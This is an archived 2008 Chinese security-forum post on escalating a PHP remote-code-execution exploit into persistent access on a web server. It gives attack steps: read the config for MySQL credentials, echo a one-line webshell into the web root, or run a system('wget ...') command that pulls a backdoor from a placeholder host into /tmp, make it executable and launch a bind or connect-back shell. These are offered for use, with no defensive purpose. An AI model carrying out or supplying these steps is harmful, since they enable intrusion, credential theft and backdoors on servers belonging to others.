标题:
[讨论]php remote exec to get a webshell?
[打印本页]
作者:
2000gaobo
时间:
2008-7-24 17:20
标题:
[讨论]php remote exec to get a webshell?
[讨论]php remote exec to get a webshell?
文章作者:xi4oyu
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com
)
逛milw0rm的在webapp板块可能经常会看到remote exec的php exploit
怎么通过这个获得webshell呢?
1.最传统的方法,读config获得mysql的帐号密码,再backup 一个shell出来
2.直接echo 写一个 一句话到web目录,具体的权限可以通过ls -l看看 需要注意转义字符的使用
3.要是目录都不能写呢?think,为什么我们非要php的webshell呢?可以直接用wget lynx之类的get一个perl 或者c 的bindshell或者connectback shell,执行之就可以了
第三点详细写下
"system('wget
http://xxxxxx.com/backdoor
-P /tmp')"
wget的-P选项 指定保存的目录的,下载完你可以ls /tmp看下,一般有两个目录肯定可写的/tmp /usr/tmp推荐写/usr/tmp目录
恩,下载好了,chmod +x backdoor 一下,然后执行一下,当然如果是c写的,需要事先编译一下。
然后是bind 的自己连下,connectback的要事先监听好端口,视情况而定。
呵呵,木有技术含量阿,提供个思路罢了,大家讨论讨论其他方法
帖子68 精华
0
积分3365 阅读权限100 性别男 在线时间180 小时 注册时间2006-6-19 最后登录2008-7-23
查看详细资料
TOP
爱要怎么说出口
pt007
荣誉会员
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/)
Powered by Discuz! 7.2